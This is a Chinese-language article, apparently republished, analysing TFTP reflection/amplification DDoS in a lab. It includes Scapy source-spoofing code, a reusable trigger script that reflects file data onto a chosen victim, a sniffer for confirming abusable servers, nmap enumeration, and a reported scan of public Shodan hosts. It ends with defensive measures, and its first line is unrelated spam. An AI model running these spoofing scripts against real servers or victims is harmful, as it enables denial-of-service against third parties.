自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

DDoS攻擊之淺析TFTP反射放大攻擊

安全 黑客攻防
本文就在Evaluation of TFTP DDoS amplification attack論文的基礎(chǔ)上,利用Kali2等虛擬機(jī),對反射流量和反射因子進(jìn)行檢測計(jì)算,適當(dāng)探究相關(guān)的限制與利用。

0x00 前言

經(jīng)由@殺戮提示,讓我看看softpedia上的這篇報(bào)道,咱就來研究一下文中的使用TFTP(Trivial File Transfer Protocol,簡單文件傳輸協(xié)議)進(jìn)行反射型DDoS攻擊。在報(bào)道的最后提到了Evaluation of TFTP DDoS amplification attack這篇論文,論文還是比較學(xué)術(shù)派和嚴(yán)謹(jǐn)?shù)?,其中使用GNS3和虛擬機(jī)搭建模擬環(huán)境,盡量嚴(yán)格控制相關(guān)變量與不變量,對TFTPD32,SolarWinds,OpenTFTP三種TFTP服務(wù)器進(jìn)行研究。論文中還利用TFTP協(xié)議自身的缺陷來進(jìn)行DOS攻擊,同時(shí)對DOS攻擊的反射因子,請求響應(yīng)延遲,總吞吐量,CPU消耗率等方面進(jìn)行了詳細(xì)的測驗(yàn)與評估。

當(dāng)然,自己實(shí)際地測試觀察TFTP反射放大攻擊的影響還是很有必要的。所以本文就在那篇論文的基礎(chǔ)上,利用Kali2等虛擬機(jī),對反射流量和反射因子進(jìn)行檢測計(jì)算,適當(dāng)探究相關(guān)的限制與利用。

0x01 TFTP服務(wù)搭建

DDoS是分布式拒絕服務(wù)攻擊,研究的基礎(chǔ)也就在于拒絕服務(wù);論文中三種TFTP服務(wù)器的測試也是為了相互對比參照,由于不同服務(wù)器的特性不同而響應(yīng)的行為也不同,其中的任何一種服務(wù)也具有通用的特性。所以為了方便驗(yàn)證研究,我們就簡單地搭建在Kali2上搭建tftp服務(wù)(對于協(xié)議特點(diǎn)的學(xué)習(xí),我比較喜歡直觀的辦法,搭建好必要服務(wù)后抓包看其數(shù)據(jù)包的結(jié)構(gòu)),對其反射放大流量的利用進(jìn)行測試,而暫且拋開分布式和其他類型服務(wù)器的對比話題。相信這些都是見微知著的,也歡迎你進(jìn)行其他方面的深入探究交流。

我們在更新源了的Kali2上進(jìn)行tftp的安裝,詳細(xì)過程可見這里和那里。在Kali上自帶的有tftp客戶端,我們可以不用再進(jìn)行安裝。其中主要使用了使用xinetd超級守護(hù)進(jìn)程更加方便安全地管理使用tftp服務(wù)。最后在服務(wù)都安裝好后,測試圖如下:

DDoS攻擊之淺析TFTP反射放大攻擊

 

在這里值得一提的是,客戶端上鍵入?發(fā)現(xiàn)有put命令可以直接上傳文件,但是會引發(fā)Error code 2: Access violation錯(cuò)誤。究其原因查看man手冊可知道,因?yàn)樵蹅冎霸诘卿浀臅r(shí)候沒有經(jīng)過認(rèn)證就可以讀取文件,所以處于安全的考慮,只有文件存在而且對于所有的用戶都可寫才能put相應(yīng)文件,這一點(diǎn)也會成為之后攻擊的一個(gè)限制。

0x02 TFTP協(xié)議簡介

對于TFTP協(xié)議百度和WiKi也有比較詳細(xì)的介紹,這里不多贅述。我覺得其中最需要理解的有以下三點(diǎn):

TFTP是基于UDP的,也就是沒有狀態(tài)性,其端口號為69

無認(rèn)證過程(對源地址和目的地址均無)

TFTP幾種不同類型的數(shù)據(jù)包在傳遞信息時(shí)的交互過程

下面給出TFTP數(shù)據(jù)包的幾種類型:

TFTP Formats    

   Type   Op #     Format without header    

          2 bytes    string   1 byte     string   1 byte
          -----------------------------------------------
   RRQ/  | 01/02 |  Filename  |   0  |    Mode    |   0  |
   WRQ    -----------------------------------------------
          2 bytes    2 bytes       n bytes
          ---------------------------------
   DATA  | 03    |   Block #  |    Data    |
          ---------------------------------
          2 bytes    2 bytes
          -------------------
   ACK   | 04    |   Block #  |
          --------------------
          2 bytes  2 bytes        string    1 byte
          ----------------------------------------
   ERROR | 05    |  ErrorCode |   ErrMsg   |   0  |

就拿A對S上的RRQ (read request)文件過程來演示一下,如下圖:

DDoS攻擊之淺析TFTP反射放大攻擊

 

具體過程文字描述如下:

A向S的69端口發(fā)送RRQ數(shù)據(jù)包請求讀取文件,其中包括文件名和傳輸使用的模式。

S再新開一個(gè)端口發(fā)送DATA數(shù)據(jù)包開始傳輸文件,其中Data段中包含著文件內(nèi)容,如果大于512字節(jié)(默認(rèn)值),就會進(jìn)行分塊傳輸(對應(yīng)標(biāo)記Block的值),直到最后一次發(fā)送的數(shù)據(jù)包Data段小于512字節(jié)。

A在接收到DATA數(shù)據(jù)包后就向S發(fā)送ACK數(shù)據(jù)包進(jìn)行確認(rèn),其中的Block就為接收到的DATA數(shù)據(jù)包中的Blocak,然后S才會繼續(xù)發(fā)下一個(gè)Block的DATA數(shù)據(jù)包。

如果S沒有接收到A的ACK數(shù)據(jù)包,S就會重傳剛才發(fā)過的DATA數(shù)據(jù)包。

實(shí)際測試的抓包圖如下:

DDoS攻擊之淺析TFTP反射放大攻擊

 

0x03 反射放大攻擊

反射是過程,放大是結(jié)果。對于拒絕服務(wù)攻擊來說,常用的方式有這么幾種:1.濫用合理的服務(wù)請求;2.制造高流量無用數(shù)據(jù);3.利用傳輸協(xié)議缺陷;4.利用服務(wù)程序的漏洞。TFTP反射放大攻擊就是利用了協(xié)議上的缺陷或者說是特性,其中關(guān)鍵點(diǎn)有二:

沒有認(rèn)證過程,這樣就可以隨意登錄讀取文件,同時(shí)偽造源(攻擊目標(biāo))IP地址,為反射做好準(zhǔn)備

之前提到的重傳機(jī)制,當(dāng)服務(wù)端在沒有收到我們的攻擊目標(biāo)的ACK包時(shí),就會重傳一定的次數(shù)給攻擊目標(biāo),達(dá)到放大的目的

下面我就在本機(jī)上借由Scapy偽造源地址數(shù)據(jù)包,向服務(wù)端(Kali2)發(fā)送RRQ數(shù)據(jù)包請求get服務(wù)器上的文件,進(jìn)而將響應(yīng)DATA包發(fā)射給目標(biāo)機(jī)(XP),誘發(fā)重傳機(jī)制造成放大攻擊。利用Scapy如下:

  1. >>> a = IP(dst='192.168.1.104',src='192.168.1.102')/UDP(sport=445,dport=69)/TFTP()/TFTP_RRQ(filename='larry'
  2. >>> a 
  3. <IP  frag=0 proto=udp src=192.168.1.102 dst=192.168.1.104 |<UDP  sport=microsoft_ds dport=tftp |<TFTP  op=RRQ |<TFTP_RRQ  filename='larry' |>>>> 

也還是有兩點(diǎn)需要說明,我們這里偽造的源端口用的是XP SP3默認(rèn)開啟的UDP端口之一(123,137,138,445,500,1900),當(dāng)然你也可以用其他你在攻擊目標(biāo)上掃描出來的端口;另一點(diǎn)就是為了達(dá)到放大數(shù)據(jù)包大小的最佳效果,我們這里RRQ的已知文件的大小必須大于512字節(jié)為好。三個(gè)主機(jī)在同一個(gè)網(wǎng)段下的測試結(jié)果圖如下:

DDoS攻擊之淺析TFTP反射放大攻擊

 

在搭建傳統(tǒng)的LAN環(huán)境的時(shí)候,會要求TFTP服務(wù)器對所有客戶端是可連接的,通常會將其拿來當(dāng)做內(nèi)部網(wǎng)絡(luò)網(wǎng)關(guān)。如果這些TFTP服務(wù)器同時(shí)暴露在外的話,我們就可以利用其在網(wǎng)絡(luò)當(dāng)中的角色加上對源地址無驗(yàn)證的缺陷,對內(nèi)網(wǎng)機(jī)器進(jìn)行DOS攻擊。當(dāng)然雞肋的會是我們不知道在內(nèi)網(wǎng)當(dāng)中有哪些機(jī)器,就算攻擊成功了,由于沒有回執(zhí)響應(yīng),我們就不知道實(shí)際情況是如何而“盲打”一通了。在vbox當(dāng)中創(chuàng)建一個(gè)內(nèi)網(wǎng)環(huán)境,同時(shí)給服務(wù)端設(shè)置兩個(gè)網(wǎng)卡,測試結(jié)果如下:

DDoS攻擊之淺析TFTP反射放大攻擊

 

從以上的測試結(jié)果可以看出由于tftpd服務(wù)的特性,在服務(wù)端未接收到ACK數(shù)據(jù)包時(shí),會默認(rèn)進(jìn)行5次重傳,并且重傳時(shí)間間隔(可設(shè)置)為5秒。對于不同的反射放大攻擊,例如Smurf,DNS,NTP,TCP-based,SNMP等反射放大攻擊,研究時(shí)通常會計(jì)算其中的反射因子/放大倍數(shù)作為相互比較的標(biāo)準(zhǔn)。在基于tftpd的TFTP反射放大攻擊中,這里響應(yīng)數(shù)據(jù)包大小總和比上請求數(shù)據(jù)包大小為:558*5/60=46.5。為了簡單地對比一下,我還是在XP上下載了tftpd32,然后再去get自帶的文件tftpd32.chm(其實(shí)在默認(rèn)狀態(tài)下tftpd32是允許put文件的,但也可在Setting中設(shè)置為Read Only模式)。tftpd32的特性就是會重傳6次,時(shí)間間隔依次為1,2,3,3,3秒,最后還會發(fā)送一個(gè)ERROR數(shù)據(jù)包。這里拋開ERROR數(shù)據(jù)包計(jì)算反射因子的話就是558*6/62=54。

DDoS攻擊之淺析TFTP反射放大攻擊

 

在論文中的tftpd32版本可能有所不同,反射因子為59.78,這個(gè)放大因子和其他反射放大攻擊相比較還是很可觀的:

DDoS攻擊之淺析TFTP反射放大攻擊

 

0x04 限制及解決方案

在以上的測試過程中,對于TFTP反射放大攻擊利用的限制點(diǎn)主要有三點(diǎn):

1. 獲取TFTP服務(wù)器上存在的文件名

雖然服務(wù)器端無認(rèn)證過程可以隨意登錄,但是無法列目錄,而造成反射的基礎(chǔ)就是需要服務(wù)端能夠發(fā)送出DATA數(shù)據(jù)包。這就需要我們一個(gè)個(gè)get測試看看TFTP服務(wù)器上存在哪些常見的文件了,我們可以對思科(廣泛使用TFTP服務(wù))設(shè)備文件和其他你認(rèn)為有可能存在的文件進(jìn)行測試。還好nmap在這里給我們提供了一個(gè)tftp-enum.nse腳本,可以如下使用:

$ sudo nmap -sU -p 69 --script tftp-enum.nse --script-args="tftp-enum.filelist=customlist.txt"

如果未加--script-args的話,腳本會默認(rèn)調(diào)用tftplist.txt文件去枚舉可能存在的文件。當(dāng)然,tftp-enum.filelist可以指定自定義的列表進(jìn)行枚舉掃描。測試結(jié)果示例如下:

DDoS攻擊之淺析TFTP反射放大攻擊

 

論文當(dāng)中說是有599600臺(2012年掃描結(jié)果)對外開放的TFTP服務(wù)器可能會被用來進(jìn)行發(fā)射放大攻擊,但在shodan上搜索tftp的結(jié)果也只有10w左右的樣子,可能有待進(jìn)一步的掃描發(fā)現(xiàn)。以下是我在shodan中搜索出的999個(gè)IP進(jìn)行測試,其中有47個(gè)服務(wù)器可以get到默認(rèn)的文件:

DDoS攻擊之淺析TFTP反射放大攻擊

 

2. TFTP服務(wù)器上已知文件的大小

反射過來的DATA數(shù)據(jù)包的大小取決于讀取文件的內(nèi)容大小,這樣就決定了我們最終反射放大的程度(相對于已知文件的文件名長度——影響請求包大小)。如果DATA數(shù)據(jù)包過小造成的影響也就很有限的了。

3. 確定TFTP服務(wù)器可利用

除了以上兩點(diǎn),如果存在其他的過濾機(jī)制,我們最終就需要測試一下該TFTP服務(wù)是否可利用,在攻擊端偽造簡單的數(shù)據(jù)包觸發(fā)其反射到指定的主機(jī)上,代碼如下:

  1. #!/usr/bin/env python 
  2. #coding=utf-8     
  3.   
  4. import optparse 
  5. import sys 
  6. import logging     
  7.   
  8. from scapy.all import *    
  9.   
  10. class Trigger(object): 
  11.     def __init__(self, target, port, filename, server): 
  12.         logging.getLogger('scapy.runtime').setLevel(logging.ERROR) 
  13.         self.target = target 
  14.         self.port = port 
  15.         self.filename = filename 
  16.         self.server = server     
  17.   
  18.     def run(self): 
  19.         t = IP(src=self.target, dst=self.server)/UDP(sport=self.port, dport=69)/TFTP()/TFTP_RRQ(filename=self.filename) 
  20.         send(t) 
  21.         print '[+] The trigger has benn sent !'    
  22.   
  23. if __name__ == '__main__': 
  24.     parser = optparse.OptionParser('uasge: %prog [options]') 
  25.     parser.add_option('-t', '--target', default=None,help='The ip of target'
  26.     parser.add_option('-f', '--filename', default='larry'help='The filename for RRQ'
  27.     parser.add_option('-p', '--port', type=intdefault=2333help='The src port of target')     
  28.   
  29.     (options, args) = parser.parse_args() 
  30.     if len(args) < 1 or options.target == None: 
  31.         parser.print_help() 
  32.         sys.exit(0)     
  33.   
  34.     trigger = Trigger(target=options.target, port=options.port, filename=options.filename, server=args[0])     
  35.   
  36.     trigger.run() 

在我們之前指定的主機(jī)上檢測一下是否有如期的DATA數(shù)據(jù)包到來即可,代碼如下:

  1. #!/usr/bin/env python 
  2. #coding=utf-8     
  3.   
  4. import optparse 
  5. import sys 
  6. import logging     
  7.   
  8. from scapy.all import *    
  9.   
  10. class Sniff(object): 
  11.     def __init__(self, port): 
  12.         logging.getLogger('scapy.runtime').setLevel(logging.ERROR) 
  13.         self.port = port     
  14.   
  15.     def run(self): 
  16.         try: 
  17.             sniff(prn=self.udp_monitor_callback, filter='udp'store=0
  18.         except KeyboardInterrupt as e: 
  19.             print '[+] Bye !' 
  20.             sys.exit(0)     
  21.   
  22.     def udp_monitor_callback(self, pkt): 
  23.         if pkt.getlayer(Raw): 
  24.             raw_load = pkt.getlayer(Raw).load 
  25.             if pkt[UDP].dport == self.port and raw_load[:4] == '\x00\x03\x00\x01': 
  26.                 print '[+] The server %s is available' % (pkt[IP].src) 
  27.                 sys.exit(0)     
  28.   
  29. if __name__ == '__main__': 
  30.     parser = optparse.OptionParser('usage: %prog [options]') 
  31.     parser.add_option('-p', '--port', type=intdefault=2333help='The port from server')     
  32.   
  33.     (options, args) = parser.parse_args() 
  34.     if len(args) > 0: 
  35.         parser.print_help() 
  36.         sys.exit(0)     
  37.   
  38.     s = Sniff(port=options.port)     
  39.   
  40.     s.run() 

這樣一放一收就可以知道該TFTP服務(wù)器是否可以利用了。

0x05 防御及相關(guān)對策

雖然有些TFTP服務(wù)器因?yàn)榕渲缅e(cuò)誤而暴露在外,但還是應(yīng)該利用防火墻將其從互聯(lián)網(wǎng)上隔離

對流經(jīng)TFTP服務(wù)的流量設(shè)置相關(guān)入侵檢測機(jī)制

將重傳(數(shù)據(jù)包)率設(shè)置為1,但還是需要和服務(wù)不可達(dá)的情況做一下平衡

簡化自定義錯(cuò)誤消息(有些tftp服務(wù)具有在重傳無響應(yīng)后還會發(fā)送ERROR數(shù)據(jù)包,間接將流量放大);記錄響應(yīng)的日志;限制請求數(shù)據(jù)包的數(shù)量

責(zé)任編輯:藍(lán)雨淚 來源: 烏云知識庫
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號